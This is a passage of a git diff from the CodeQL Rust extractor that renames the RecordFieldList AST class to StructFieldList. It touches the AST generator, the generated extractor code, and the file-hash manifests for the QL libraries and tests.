rust/ql/test/extractor-tests/generated/RecordFieldList/RecordFieldList_getField.expected rename rust/ql/test/extractor-tests/generated/{RecordFieldList/RecordFieldList.ql => StructFieldList/StructFieldList.ql} (83%) rename rust/ql/test/extractor-tests/generated/{RecordFieldList/RecordFieldList_getField.ql => StructFieldList/StructFieldList_getField.ql} (82%) rename rust/ql/test/extractor-tests/generated/{RecordFieldList/gen_record_field_list.rs => StructFieldList/gen_struct_field_list.rs} (75%) diff --git a/rust/ast-generator/src/main.rs b/rust/ast-generator/src/main.rs index 712c9864f1e..86c2859ee96 100644 --- a/rust/ast-generator/src/main.rs +++ b/rust/ast-generator/src/main.rs @@ -23,9 +23,7 @@ fn class_name(type_name: &str) -> String { "Literal" => "LiteralExpr".to_owned(), "ArrayExpr" => "ArrayExprInternal".to_owned(), "AsmOptions" => "AsmOptionsList".to_owned(), - _ if type_name.starts_with("Record") && type_name != "RecordFieldList" => { - type_name.replacen("Record", "Struct", 1) - } + _ if type_name.starts_with("Record") => type_name.replacen("Record", "Struct", 1), _ if type_name.ends_with("Type") => format!("{}Repr", type_name), _ => type_name.to_owned(), } @@ -108,8 +106,8 @@ fn node_src_to_schema_class( super_types: &BTreeMap>, ) -> SchemaClass { let name = class_name(&node.name); - let fields = get_fields(node) - .iter() + let fields = get_fields(node) + .iter() .map(|f| { let (ty, child) = match &f.ty { FieldType::String => ("optional[string]".to_string(), false), diff --git a/rust/extractor/src/generated/.generated.list b/rust/extractor/src/generated/.generated.list index db7b3cdf235..56c8762bcdd 100644 --- a/rust/extractor/src/generated/.generated.list +++ b/rust/extractor/src/generated/.generated.list @@ -1,2 +1,2 @@ mod.rs 4bcb9def847469aae9d8649461546b7c21ec97cf6e63d3cf394e339915ce65d7 4bcb9def847469aae9d8649461546b7c21ec97cf6e63d3cf394e339915ce65d7 -top.rs 62e42bde2f16907f6d7303526c4f058a253df8b31fb26cb71edab0bc75fc2b55 62e42bde2f16907f6d7303526c4f058a253df8b31fb26cb71edab0bc75fc2b55 +top.rs 50fa90457102611ea7892153e4beb7512d3704a1c78d9bb8e75eb96b98b31740 50fa90457102611ea7892153e4beb7512d3704a1c78d9bb8e75eb96b98b31740 diff --git a/rust/extractor/src/generated/top.rs b/rust/extractor/src/generated/top.rs index 34283604506..b65cec68264 100644 --- a/rust/extractor/src/generated/top.rs +++ b/rust/extractor/src/generated/top.rs @@ -7510,65 +7510,6 @@ impl From> for trap::Label { } } -#[derive(Debug)] -pub struct RecordFieldList { - pub id: trap::TrapId, - pub fields: Vec>, -} - -impl trap::TrapEntry for RecordFieldList { - fn extract_id(&mut self) -> trap::TrapId { - std::mem::replace(&mut self.id, trap::TrapId::Star) - } - - fn emit(self, id: trap::Label, out: &mut trap::Writer) { - out.add_tuple("record_field_lists", vec![id.into()]); - for (i, v) in self.fields.into_iter().enumerate() { - out.add_tuple("record_field_list_fields", vec![id.into(), i.into(), v.into()]); - } - } -} - -impl trap::TrapClass for RecordFieldList { - fn class_name() -> &'static str { "RecordFieldList" } -} - -impl From> for trap::Label { - fn from(value: trap::Label) -> Self { - // SAFETY: this is safe because in the dbscheme RecordFieldList is a subclass of FieldList - unsafe { - Self::from_untyped(value.as_untyped()) - } - } -} - -impl From> for trap::Label { - fn from(value: trap::Label) -> Self { - // SAFETY: this is safe because in the dbscheme RecordFieldList is a subclass of AstNode - unsafe { - Self::from_untyped(value.as_untyped()) - } - } -} - -impl From> for trap::Label { - fn from(value: trap::Label) -> Self { - // SAFETY: this is safe because in the dbscheme RecordFieldList is a subclass of Locatable - unsafe { - Self::from_untyped(value.as_untyped()) - } - } -} - -impl From> for trap::Label { - fn from(value: trap::Label) -> Self { - // SAFETY: this is safe because in the dbscheme RecordFieldList is a subclass of Element - unsafe { - Self::from_untyped(value.as_untyped()) - } - } -} - #[derive(Debug)] pub struct RefExpr { pub id: trap::TrapId, @@ -8093,6 +8034,65 @@ impl From> for trap::Label { } } +#[derive(Debug)] +pub struct StructFieldList { + pub id: trap::TrapId, + pub fields: Vec>, +} + +impl trap::TrapEntry for StructFieldList { + fn extract_id(&mut self) -> trap::TrapId { + std::mem::replace(&mut self.id, trap::TrapId::Star) + } + + fn emit(self, id: trap::Label, out: &mut trap::Writer) { + out.add_tuple("struct_field_lists", vec![id.into()]); + for (i, v) in self.fields.into_iter().enumerate() { + out.add_tuple("struct_field_list_fields", vec![id.into(), i.into(), v.into()]); + } + } +} + +impl trap::TrapClass for StructFieldList { + fn class_name() -> &'static str { "StructFieldList" } +} + +impl From> for trap::Label { + fn from(value: trap::Label) -> Self { + // SAFETY: this is safe because in the dbscheme StructFieldList is a subclass of FieldList + unsafe { + Self::from_untyped(value.as_untyped()) + } + } +} + +impl From> for trap::Label { + fn from(value: trap::Label) -> Self { + // SAFETY: this is safe because in the dbscheme StructFieldList is a subclass of AstNode + unsafe { + Self::from_untyped(value.as_untyped()) + } + } +} + +impl From> for trap::Label { + fn from(value: trap::Label) -> Self { + // SAFETY: this is safe because in the dbscheme StructFieldList is a subclass of Locatable + unsafe { + Self::from_untyped(value.as_untyped()) + } + } +} + +impl From> for trap::Label { + fn from(value: trap::Label) -> Self { + // SAFETY: this is safe because in the dbscheme StructFieldList is a subclass of Element + unsafe { + Self::from_untyped(value.as_untyped()) + } + } +} + #[derive(Debug)] pub struct TryExpr { pub id: trap::TrapId, @@ -10510,7 +10510,7 @@ impl trap::TrapEntry for Struct { out.add_tuple("struct_attrs", vec![id.into(), i.into(), v.into()]); } if let Some(v) = self.field_list { - out.add_tuple("struct_field_lists", vec![id.into(), v.into()]); + out.add_tuple("struct_field_lists_", vec![id.into(), v.into()]); } if let Some(v) = self.generic_param_list { out.add_tuple("struct_generic_param_lists", vec![id.into(), v.into()]); @@ -11172,7 +11172,7 @@ pub struct Union { pub attrs: Vec>, pub generic_param_list: Option>, pub name: Option>, - pub struct_field_list: Option>, + pub struct_field_list: Option>, pub visibility: Option>, pub where_clause: Option>, } diff --git a/rust/extractor/src/translate/generated.rs b/rust/extractor/src/translate/generated.rs index 08bffc15a25..9f8e52e0a45 100644 --- a/rust/extractor/src/translate/generated.rs +++ b/rust/extractor/src/translate/generated.rs @@ -1867,14 +1867,14 @@ impl Translator<'_> { Some(label) } - pub(crate) fn emit_record_field_list(&mut self, node: ast::RecordFieldList) -> Option> { + pub(crate) fn emit_record_field_list(&mut self, node: ast::RecordFieldList) -> Option> { let fields = node.fields().filter_map(|x| self.emit_record_field(x)).collect(); - let label = self.trap.emit(generated::RecordFieldList { + let label = self.trap.emit(generated::StructFieldList { id: TrapId::Star, fields, }); self.emit_location(label, &node); - emit_detached!(RecordFieldList, self, node, label); + emit_detached!(StructFieldList, self, node, label); self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); Some(label) } diff --git a/rust/ql/.generated.list b/rust/ql/.generated.list index b21354642e0..61529b8b6cc 100644 --- a/rust/ql/.generated.list +++ b/rust/ql/.generated.list @@ -129,7 +129,6 @@ lib/codeql/rust/elements/PrefixExpr.qll 107e7bd111b637fd6d76026062d54c2780760b96 lib/codeql/rust/elements/PtrTypeRepr.qll 2eb2b6f6e5858a10fa1b10d85400ed6db781339bf152162a2fd33213c1ce083b bb99c2da04c80d3c14f47cda1feb9719af801d209becb3d9b20746a2a3b8fc02 lib/codeql/rust/elements/RangeExpr.qll 43785bea08a6a537010db1138e68ae92eed7e481744188dfb3bad119425ff740 5e81cfbdf4617372a73d662a248a0b380c1f40988a5daefb7f00057cae10d3d4 lib/codeql/rust/elements/RangePat.qll b5c0cfc84b8a767d58593fa7102dcf4be3ff8b02ba2f5360c384fa8af4aac830 cc28399dd99630bfa50c54e641a3833abe6643137d010a0a25749d1d70e8c911 -lib/codeql/rust/elements/RecordFieldList.qll e067a0111ef4eb442236a265b6e492ffe17886a18650324a52cc0f9fe98aae50 816d98a3c6b387b5b40cbe221f53f676ea5107e1ddbea628f02b5f9e3b5ddf0c lib/codeql/rust/elements/RefExpr.qll 91a0d3a86002289dc01ffbe8daca13e34e92e522fbb508241a9d51faf1d4a9d2 b6e63d8e6f8956d2501706d129a6f5f24b410ea6539839757c76ba950c410582 lib/codeql/rust/elements/RefPat.qll fe076bdccb454111b38f360837d180274ba8a003b4cffe910b5197cd74188089 2604c8bb2b0b47091d5fc4aa276de46fe3561e346bd98f291c3783cef402ba06 lib/codeql/rust/elements/RefTypeRepr.qll ac41d8b4132f273d65873ea3c59631bc1718b3266ae08075346e6cb1bfe2f17c b7e34851d37008806d4519105a5e3405dda07b999294c6656a0c447ac1635b2a @@ -151,6 +150,7 @@ lib/codeql/rust/elements/StructExpr.qll af9059c01a97755e94f1a8b60c66d9c7663ed070 lib/codeql/rust/elements/StructExprField.qll 3eb9f17ecd1ad38679689eb4ecc169d3a0b5b7a3fc597ae5a957a7aea2f74e4f 8fcd26f266f203004899a60447ba16e7eae4e3a654fbec7f54e26857730ede93 lib/codeql/rust/elements/StructExprFieldList.qll 6f77363f93ce4e55d91cc93cef4451b93b9714a4aec91c5416d488191340a079 4da6b070125150f2d28028e29095df93e0bbdb5bc4bd4c672e060492f36367c4 lib/codeql/rust/elements/StructField.qll cd6ebb8927eb2614aa1241f03702b1db06e6c581acc368966c2809adb62a3cff 792a2040847a5e6ef3efcc33eeffa9df0bf720a5c39204ac5533bf85b2f9e9bd +lib/codeql/rust/elements/StructFieldList.qll 384a8dab7b1bb70151bfc8cb378ebffbea8e5112f92cf26f1c6f2fd0eb9d2e35 6ee3cc6952a134f6f4d6988700f45eb51d23d19f3c08d63a868d9ad8e54be12a lib/codeql/rust/elements/StructPat.qll cdd1e8417d1c8cb3d14356390d71eb2916a295d95f240f48d4c2fb21bf4398cb 69c3456a13ef3e978a9a145b9e232198a30360f771feb41a917e507410611f6c lib/codeql/rust/elements/StructPatField.qll 856aa7d7c6d9b3c17514cbd12a36164e6e9d5923245770d0af3afb759a15204a 1bd1a294d84ad5e4da24e03b4882b215c50473875014859dbf26555d1f4ec2d5 lib/codeql/rust/elements/StructPatFieldList.qll e32d5adc36dc9800454920c784098680b22d3c1c31754bbb65db1a226105b3b0 0ecfd969411a56ebf04f6a4950219b9128b66151c115fcd734d89687f3f5e524 @@ -174,7 +174,7 @@ lib/codeql/rust/elements/TypeRepr.qll ea41b05ef0aaac71da460f9a6a8331cf98166f2c38 lib/codeql/rust/elements/UnderscoreExpr.qll 233661b82b87c8cda16d8f2e17965658c3dc6b69efb23cb8eb9c4f50c68521e0 8edff8e80aac2ecf83a6b58f310cab688cbaeea0a0e68a298b644e565960cc74 lib/codeql/rust/elements/Unextracted.qll 12e60c79ef5b94d72b579b19970622e7b73822ebc13fbcfedfe953527ab1ac36 ec015db2eb12c3c82693ddc71d32d9ab9ef7a958e741e2510681bb707ceca23e lib/codeql/rust/elements/Unimplemented.qll bf624d28163e5c99accda16c0c99f938bec4a3b1b920a463e86fc8529ff5ff02 013bc7777298d250338f835cd494b5a8accea2d6a4f9561851f283ac129a446b -lib/codeql/rust/elements/Union.qll e8e05763f7004c6a03d0bc4bcc153e12cc9150bb019d165b9ee84657a4c2dfe3 0db02f200220e0af54bf2ec21ccea1d8eba4f9225521d19ca8701786a807b552 +lib/codeql/rust/elements/Union.qll 9539358aa47fbe99c0e63d154bf899427bb6d935f3acd00600c11c6396b18565 520612bafb6912001138562a19a691f8b9ca377d5c4bf7aedf49f1b0938eb955 lib/codeql/rust/elements/Use.qll e27d30ece0456a73732dfd867dfc5abdf48a50de56e7dafcab444b688610af72 7efe59c04dd2f10b4a25b8a17beb51362be0a93d73e5a9e1251cf133cf1227c3 lib/codeql/rust/elements/UseBoundGenericArg.qll f16903f8fff676d3700eaad5490804624391141472ecc3166ccb1f70c794c120 5efda98088d096b42f53ceccae78c05f15c6953525b514d849681cb2cf65b147 lib/codeql/rust/elements/UseBoundGenericArgs.qll 6d3b8bf8e59ef6d10d2f58c6d2eca61b113a524174f62d1f56b724c4179fda04 8fad6ed9e5bf159a2db01e7eb960cc55b940f7b92c4bb5c967120068e4fec80a @@ -367,8 +367,6 @@ lib/codeql/rust/elements/internal/PtrTypeReprImpl.qll 82bb14c7c5764aa6c829d463ed lib/codeql/rust/elements/internal/RangeExprConstructor.qll a0aa90a1c38c5deea56475399016afae2a00a858b961fbbab8ddeb3bc6a08103 0ddf1bcf28aafc56d7334e6138fb268f9b36a429e4cbdd982cd8384e0644076b lib/codeql/rust/elements/internal/RangePatConstructor.qll fe4345cb41d970ab64196ca37eccb26e5b9cf85fab4253cacfd2b31de03bd070 1d09d5ec8203d76aed2dfb7e7f14c0c07d6559c8f589e11860fff8a2c682c1a6 lib/codeql/rust/elements/internal/RangePatImpl.qll ef11ab2c002896036553231741a7cf896fafa09e22e920e15661b9cbe4393cae 24ac2dcce3055a77f3a5e0b38cf13aebefd2eeaefa53674ff144a6225634ac0d -lib/codeql/rust/elements/internal/RecordFieldListConstructor.qll 9f1d916f3784092dcbff7224451c8f4f0daf6f8293a466b0a30ec9b92cd41358 8aafe377714a134287362c4b96439c1c6baa5a31c2c36a544bd5f73e9213477a -lib/codeql/rust/elements/internal/RecordFieldListImpl.qll 9446404c45f0dc4473a63eab64669d9a2d25ac67ae230960dd0edd749ba2b9f0 7548d4c7b07c974035da36d83579a0b8a538e088fe834aec50d32591be9766e1 lib/codeql/rust/elements/internal/RefExprConstructor.qll 9ad08c0f3d980a56a2af8857cb84db589941d20ab3ae5c8ece004ccaccaaf950 4cac3ace31b7ed77a72e989fce9cdbae2247f03c28a3f0c50d67385d02c7f193 lib/codeql/rust/elements/internal/RefPatConstructor.qll d8b88c2c468b08072f6f853306eb61eb88ee1e6c5cfb63958f115a64a9715bb3 0c1d6a8af6a66912698acce47e89d4e3239e67f89c228a36a141f9c685c36394 lib/codeql/rust/elements/internal/RefTypeReprConstructor.qll 8e7012b456ebf1cc7a2c50892c0fffd51f0d5d83e417e1d4cabd4d409e3dddc0 4f3c6368bcea5e8c3f0b83591336f01331dc6dabf9c1e8b67de0fc4d640f65f0 @@ -400,6 +398,8 @@ lib/codeql/rust/elements/internal/StructExprFieldConstructor.qll 6766d7941963904 lib/codeql/rust/elements/internal/StructExprFieldListConstructor.qll fda308db380c608d5df1dc48b30bccb32bce31eabff807d0e623b812000a2a2c 84fb7cb24bf61aec602956f867c722d10907b3edfd4dd6946f1349cf6240b4f1 lib/codeql/rust/elements/internal/StructExprFieldListImpl.qll 73aa0a61c2fe5c3cb345b98c1d0bc60474734068ff405061c87406f252ef29ba 66c75d1a449dd9c11db36492f24de13baa98f99d41284ef69298e7b9beb470dc lib/codeql/rust/elements/internal/StructFieldConstructor.qll 07c7ca8cd5666a0d022573e8d4f9a2e8b237c629c729b9563d783f5e34f232ce 82de0f502272ebdc4f3b15aa314611dd20e82f78ad629e79b5459fdcacf44f9e +lib/codeql/rust/elements/internal/StructFieldListConstructor.qll c4ed03a31f08e63f77411e443635ae20caa82c0b4ce27a8ca0011ddf85602874 9f6c12949ea06f932c141fed8e6f7d2d93e0d3305dfc60db163feb34ada90917 +lib/codeql/rust/elements/internal/StructFieldListImpl.qll 93c2b214e315c2fe6a85235fb05c0bfdcd06a03a2246adf551d8c015d28ab9f2 2f80b04deb63785e5766cf78989bb37d69cc9a0372cce737bd544962fc40bb18 lib/codeql/rust/elements/internal/StructPatConstructor.qll 4289608942b7ca73d5a7760232ef23cd9a1baf63cc1d0dc64e7dfea146194fe4 189aec3a5c376addd75b17a79729837fb4185de4abf45008df3956a2d9cdadb8 lib/codeql/rust/elements/internal/StructPatFieldConstructor.qll 780294d2bbad2062a7c66a0dca370e12551d94dd97540936864cf26cbafd7d0e aa9c717f3ec13927be9c598af06ae0b785fb6645a409acf4eaedf07b0b765079 lib/codeql/rust/elements/internal/StructPatFieldListConstructor.qll f67090a3738f2dc89874325c1ec2d4b4d975a5fdef505f0008a016f33868bebb 1c10b9ae42ed78758f59902c44c3eeebb0bd862c04783f83aa4db5653f12bf0e @@ -579,7 +579,7 @@ lib/codeql/rust/elements/internal/generated/ParamList.qll c808c9d84dd7800573832b lib/codeql/rust/elements/internal/generated/ParenExpr.qll bc0731505bfe88516205ec360582a4222d2681d11342c93e15258590ddee82f2 d4bd6e0c80cf1d63746c88d4bcb3a01d4c75732e5da09e3ebd9437ced227fb60 lib/codeql/rust/elements/internal/generated/ParenPat.qll 4f168ef5d5bb87a903251cc31b2e44a759b099ec69c90af31783fbb15778c940 0e34f94a45a13396fd57d94c245dc64d1adde2ab0e22b56946f7e94c04e297fc lib/codeql/rust/elements/internal/generated/ParenTypeRepr.qll 40ab5c592e7699c621787793743e33988de71ff42ca27599f5ab3ddb70e3f7d8 12c0a6eed2202ee3e892f61da3b3ce77ac3190854cdf3097e8d2be98aa3cb91d -lib/codeql/rust/elements/internal/generated/ParentChild.qll c069ec5489ac1c13222fb2ff55d693005359820b99fe5a55177602b08fd9e2be e16b731291fa166ae99f4f4b22324998cc9fb769106936b3dff26d47cd0d223f +lib/codeql/rust/elements/internal/generated/ParentChild.qll 3a9dd595f34bc5841d21f91882b01f2882b18b70e8c718e81d491b4b33bad82b fb40a76aff319ec5f7dae9a05da083b337887b0918b3702641b39342213ddf6f lib/codeql/rust/elements/internal/generated/ParenthesizedArgList.qll c5fa328ea60d3a3333d7c7bb3480969c1873166c7ac8ebb9d0afad7a8099d1a8 2dbbb6200d96f7db7dea4a55bdeab8d67b14d39a43e0bd54ada019f7e466f163 lib/codeql/rust/elements/internal/generated/Pat.qll 3605ac062be2f294ee73336e9669027b8b655f4ad55660e1eab35266275154ee 7f9400db2884d336dd1d21df2a8093759c2a110be9bf6482ce8e80ae0fd74ed4 lib/codeql/rust/elements/internal/generated/Path.qll 9b12afb46fc5a9ad3a811b05472621bbecccb900c47504feb7f29d96b28421ca bcacbffc36fb3e0c9b26523b5963af0ffa9fd6b19f00a2a31bdb2316071546bd @@ -594,8 +594,7 @@ lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll 51d1e9e683fc79dddbff lib/codeql/rust/elements/internal/generated/PureSynthConstructors.qll e5b8e69519012bbaae29dcb82d53f7f7ecce368c0358ec27ef6180b228a0057f e5b8e69519012bbaae29dcb82d53f7f7ecce368c0358ec27ef6180b228a0057f lib/codeql/rust/elements/internal/generated/RangeExpr.qll 23cca03bf43535f33b22a38894f70d669787be4e4f5b8fe5c8f7b964d30e9027 18624cef6c6b679eeace2a98737e472432e0ead354cca02192b4d45330f047c9 lib/codeql/rust/elements/internal/generated/RangePat.qll 80826a6a6868a803aa2372e31c52a03e1811a3f1f2abdb469f91ca0bfdd9ecb6 34ee1e208c1690cba505dff2c588837c0cd91e185e2a87d1fe673191962276a9 -lib/codeql/rust/elements/internal/generated/Raw.qll dbe82a218ef545a99ea575a988eba077f5fc312c2fe6abf4e22081d484692560 3651395ed9a387daa1217c033004c92909d4e1d81cf93668060e8cd5f6302bf0 -lib/codeql/rust/elements/internal/generated/RecordFieldList.qll 4a23b0d75a90671197246dbbb4e62706c180074abb8ebe60a96df11c47a917a2 09be127977651a24010b090d9681714d83ebd461098f9cf0e0d1973cafb1c782 +lib/codeql/rust/elements/internal/generated/Raw.qll 4a73b51a4e7c995c42d68cf64ff8aff351d898f306ceedf70a009bf86bbf7d84 f7ccdbc4841d87dae7bbf6f58556901176c930a9a797a59dbc04269ca3b516ce lib/codeql/rust/elements/internal/generated/RefExpr.qll 7d995884e3dc1c25fc719f5d7253179344d63650e217e9ff6530285fe7a57f64 f2c3c12551deea4964b66553fb9b6423ee16fec53bd63db4796191aa60dc6c66 lib/codeql/rust/elements/internal/generated/RefPat.qll 456ede39837463ee22a630ec7ab6c8630d3664a8ea206fcc6e4f199e92fa564c 5622062765f32930465ba6b170e986706f159f6070f48adee3c20e24e8df4e05 lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll 3d8c0bd296d33b91a81633f697a43269a6538df06d277262d3990d3f6880ef57 13680f39e89bcd8299c218aba396f3deec804597e6f7cb7d4a7e7c748b6faa77 @@ -617,11 +616,12 @@ lib/codeql/rust/elements/internal/generated/StructExpr.qll c6d861eaa0123b103fd9f lib/codeql/rust/elements/internal/generated/StructExprField.qll 6bdc52ed325fd014495410c619536079b8c404e2247bd2435aa7685dd56c3833 501a30650cf813176ff325a1553da6030f78d14be3f84fea6d38032f4262c6b0 lib/codeql/rust/elements/internal/generated/StructExprFieldList.qll b19b6869a6828c7a39a7312539eb29fd21734ff47dfd02281de74194fd565d7e 3cadebffaa937e367a5e1da6741e4e9e5c9a9c7f7555e28cfa70639afd19db7c lib/codeql/rust/elements/internal/generated/StructField.qll bcbaa836d9b9889c87ba57c6ea733cdc85425168d9df05aca5cfd051851d8cd1 a17034896bc7fa25c84e40b460109d122ca1e85632cf8ac620f66f3eb0ff81b5 +lib/codeql/rust/elements/internal/generated/StructFieldList.qll 8911a44217d091b05f488da4e012cb026aed0630caa84ca301bbcbd054c9a28c a433383fea7e42f20750aa43e6070c23baad761a4264be99257541c1004ead31 lib/codeql/rust/elements/internal/generated/StructPat.qll c76fa005c2fd0448a8803233e1e8818c4123301eb66ac5cf69d0b9eaafc61e98 6e0dffccdce24bca20e87d5ba0f0995c9a1ae8983283e71e7dbfcf6fffc67a58 lib/codeql/rust/elements/internal/generated/StructPatField.qll 5b5c7302dbc4a902ca8e69ff31875c867e295a16a626ba3cef29cd0aa248f179 4e192a0df79947f5cb0d47fdbbba7986137a6a40a1be92ae119873e2fad67edf lib/codeql/rust/elements/internal/generated/StructPatFieldList.qll e34c003e660ba059ba81bb73b3c8d21bd2a47d0251569c46277dc9ccf2947b0a 85113f35ba5f6b9e01ad4072246a4de1ac0e4528348ac564868e96f34a3e09e2 -lib/codeql/rust/elements/internal/generated/Synth.qll ae5702e53d576dccdffa398e2142a696361e70f2fca40c10a3c976f3e4ff1fff ab4d20c73b4668ea0e1103a8a54ba7f39030795df7b9ee010109f15d50999bd2 -lib/codeql/rust/elements/internal/generated/SynthConstructors.qll e4298dc8e52d56672d91df093cc858105b5072be4ae5bed95105e0ffd80e7233 e4298dc8e52d56672d91df093cc858105b5072be4ae5bed95105e0ffd80e7233 +lib/codeql/rust/elements/internal/generated/Synth.qll 409b9ae5c78f47f271eb05a9eb7043df6cd6ca35ce381843714667f1f2dfdf9a aa4d5082abccd7cd47a493447eea79b0a3ff81439c333f05087030e76f0fa8e5 +lib/codeql/rust/elements/internal/generated/SynthConstructors.qll fe007cf6eab5f0cf89ea1ea91e1f9b23e0fcf0f2872f52ef352584503f90aa29 fe007cf6eab5f0cf89ea1ea91e1f9b23e0fcf0f2872f52ef352584503f90aa29 lib/codeql/rust/elements/internal/generated/Token.qll 77a91a25ca5669703cf3a4353b591cef4d72caa6b0b9db07bb9e005d69c848d1 2fdffc4882ed3a6ca9ac6d1fb5f1ac5a471ca703e2ffdc642885fa558d6e373b lib/codeql/rust/elements/internal/generated/TokenTree.qll 8577c2b097c1be2f0f7daa5acfcf146f78674a424d99563e08a84dd3e6d91b46 d2f30764e84dbfc0a6a5d3d8a5f935cd432413688cb32da9c94e420fbc10665c lib/codeql/rust/elements/internal/generated/Trait.qll 8fa41b50fa0f68333534f2b66bb4ec8e103ff09ac8fa5c2cc64bc04beafec205 ce1c9aa6d0e2f05d28aab8e1165c3b9fb8e24681ade0cf6a9df2e8617abeae7e @@ -642,7 +642,7 @@ lib/codeql/rust/elements/internal/generated/TypeRepr.qll 1e7b9d2ddab86e35dad7c31 lib/codeql/rust/elements/internal/generated/UnderscoreExpr.qll b3780c99c5d57159bef4c6bd2fd8ec44ebd1854c892c1ca776c740f71249e58c 2fd451cbf0a779e8042e439882e7d9cadc19d1e596df3bbb086d16f2596407c7 lib/codeql/rust/elements/internal/generated/Unextracted.qll 01563dfd769d6dc3c6b8a40d9a4dc0d99a3b6a0c6725c180d2bf4d7633929a17 a93ce90f8c03f4305e59de9c63f089fc7935298fc9a73d091d76933cf63e790c lib/codeql/rust/elements/internal/generated/Unimplemented.qll a3eb304781991bff1227de1e4422b68bf91e7b344e4f6c9e874b324e82a35e60 6bc4839fda3850a56dc993b79ef9ba921008395c8432b184e14438fba4566f21 -lib/codeql/rust/elements/internal/generated/Union.qll d91aa6cd02bce27a28d1fba87fe80be3a33d1e560d3dd447c3035ff2738a0821 22343e17c08e53d237e834fb9fb9c97fbdebc95bfda4bab80a0c3274edebf7fd +lib/codeql/rust/elements/internal/generated/Union.qll 83b1ed06279e1f6baa1c2618e09f58a15b83c300837d0da3faf3b8f63cf15aa0 e9d877bb75231a36b3d32cf92a598593eeaf4f5100ac1fa172781bc5b9514349 lib/codeql/rust/elements/internal/generated/Use.qll d42ccf3516a9f79ae8766f93ad5f09d3cdcd7b96844d4c9de64189b56018a7b4 70a9553a8f71f6cbfdd0f59a4b42292d13177613ceb0542436436e0ac2e1f8ee lib/codeql/rust/elements/internal/generated/UseBoundGenericArg.qll 69162794e871291545ea04f61259b2d000671a96f7ca129f7dd9ed6e984067c4 31de9ebc0634b38e2347e0608b4ea888892f1f2732a2892464078cd8a07b4ee8 lib/codeql/rust/elements/internal/generated/UseBoundGenericArgs.qll 05dca015d922935887856f3a0d577dbcf5b8f82bc384bdc9c8c2d0106419716d fcee14ed4f7a639b1ba721bd390fc0cdbfdc7c759e3092aa462d466fe390de45 @@ -658,7 +658,7 @@ lib/codeql/rust/elements/internal/generated/WhileExpr.qll 7edf1f23fbf953a2baabcd lib/codeql/rust/elements/internal/generated/WildcardPat.qll d74b70b57a0a66bfae017a329352a5b27a6b9e73dd5521d627f680e810c6c59e 4b913b548ba27ff3c82fcd32cf996ff329cb57d176d3bebd0fcef394486ea499 lib/codeql/rust/elements/internal/generated/YeetExpr.qll cac328200872a35337b4bcb15c851afb4743f82c080f9738d295571eb01d7392 94af734eea08129b587fed849b643e7572800e8330c0b57d727d41abda47930b lib/codeql/rust/elements/internal/generated/YieldExpr.qll 37e5f0c1e373a22bbc53d8b7f2c0e1f476e5be5080b8437c5e964f4e83fad79a 4a9a68643401637bf48e5c2b2f74a6bf0ddcb4ff76f6bffb61d436b685621e85 -lib/codeql/rust/elements.qll 5fbfcd83eeb4467d0a721e5b4faf61d0b31316d923e6a6f61d1724023ad91cae 5fbfcd83eeb4467d0a721e5b4faf61d0b31316d923e6a6f61d1724023ad91cae +lib/codeql/rust/elements.qll 05fb894d008a9c0478d03fb1639ffc57516b67d9de7f7309331279512f630b4a 05fb894d008a9c0478d03fb1639ffc57516b67d9de7f7309331279512f630b4a test/extractor-tests/generated/Abi/Abi.ql 7f6e7dc4af86eca3ebdc79b10373988cd0871bd78b51997d3cffd969105e5fdd 2f936b6ca005c6157c755121584410c03e4a3949c23bee302fbe05ee10ce118f test/extractor-tests/generated/Abi/Abi_getAbiString.ql a496762fcec5a0887b87023bbf93e9b650f02e20113e25c44d6e4281ae8f5335 14109c7ce11ba25e3cd6e7f1b3fcb4cb00622f2a4eac91bfe43145c5f366bc52 test/extractor-tests/generated/ArgList/ArgList.ql e412927756e72165d0e7c5c9bd3fca89d08197bbf760db8fb7683c64bb2229bc 043dba8506946fbb87753e22c387987d7eded6ddb963aa067f9e60ef9024d684 @@ -1023,8 +1023,6 @@ test/extractor-tests/generated/RangePat/RangePat.ql 97314b9a5543a7471d722ae188a6 test/extractor-tests/generated/RangePat/RangePat_getEnd.ql 723eb5030ec52d3aa3650a3e2de6cc0195a0030630239b972235963320e0d808 2df3b1a6197c3abd43dc743fd09cbf55165e3191f2b49336777594541e5da96a test/extractor-tests/generated/RangePat/RangePat_getOperatorName.ql 564216b2342f56dc8c1aed6306f57b6dafb33de9e3ba337a840a8c077ce95933 2a76ec7a59bada29733a1515bc1ea8bedd37429d1694ca63c7a8fbf94098a4c7 test/extractor-tests/generated/RangePat/RangePat_getStart.ql ad2066efa32fced2dd107031f2a9b9635c3c892e874870a4320522bae9309aa4 b4a8c57a838074e186b823938d1a9372153c193da6c839b5f242ca25c679e83f -test/extractor-tests/generated/RecordFieldList/RecordFieldList.ql 586bccfa550243177d9fdfd6900a473f51a76ed360b537f19cb300330d5dad5b a063373dfdbf06b68c69694ea4ae72a26b906c910f9095894c09e72f8fb52819 -test/extractor-tests/generated/RecordFieldList/RecordFieldList_getField.ql 2eb92ef8528204f3f105c19a36cdc06b3b6d20242463ff2ed1fb81c544812a71 d69091899e7157099f117e14fe60cd3705cfda45f28f6a6a2b7234a4a9c1e664 test/extractor-tests/generated/RefExpr/RefExpr.ql 27d5dceb9e50668e77143ff5c4aa07cbe15aeea9829de70f1ddfe18d83690106 b95058b7a0bad4bddb857794901d9b651b2f9e4dd3554e5349a70a52cbbfaff6 test/extractor-tests/generated/RefExpr/RefExpr_getAttr.ql 477fb3fee61395fabf78f76360ea27656432cb9db62e6f1dab1e9f3c75c83d39 5210f2ac54c082b616d8dcb091659cdad08a5d4ae06bf61193c33f208237482f test/extractor-tests/generated/RefExpr/RefExpr_getExpr.ql 180d6417fd7322cabf4143d0ddd7810f65506b172a5c82484b3ef398041636b2 a291f0bec1ec5b3fa6d088b3d1a658889b9a3521c39ff3bb7a5ab22a56b8b20a @@ -1095,6 +1093,8 @@ test/extractor-tests/generated/StructField/StructField_getDefault.ql deccc63b818 test/extractor-tests/generated/StructField/StructField_getName.ql 4c5a7e00b758a744a719bff63d493ee7d31ff8b3010e00c1d1449034d00130ec 9b284d848e5c86eac089f33deca7586441a89d927e7703cb4f98bb7c65a7238c test/extractor-tests/generated/StructField/StructField_getTypeRepr.ql 3f36890b9ced576327d0fb6e3c80c6482c3a6d6f751fa769b24b2c14a46f8ee8 aed0681a3928b965f1448954d3a0369238a3cd715b97a0d988d15b971bf45356 test/extractor-tests/generated/StructField/StructField_getVisibility.ql 335d097fabbc9720b065248cd1c295fe8dc040bf646ce491244b6840d9a847d3 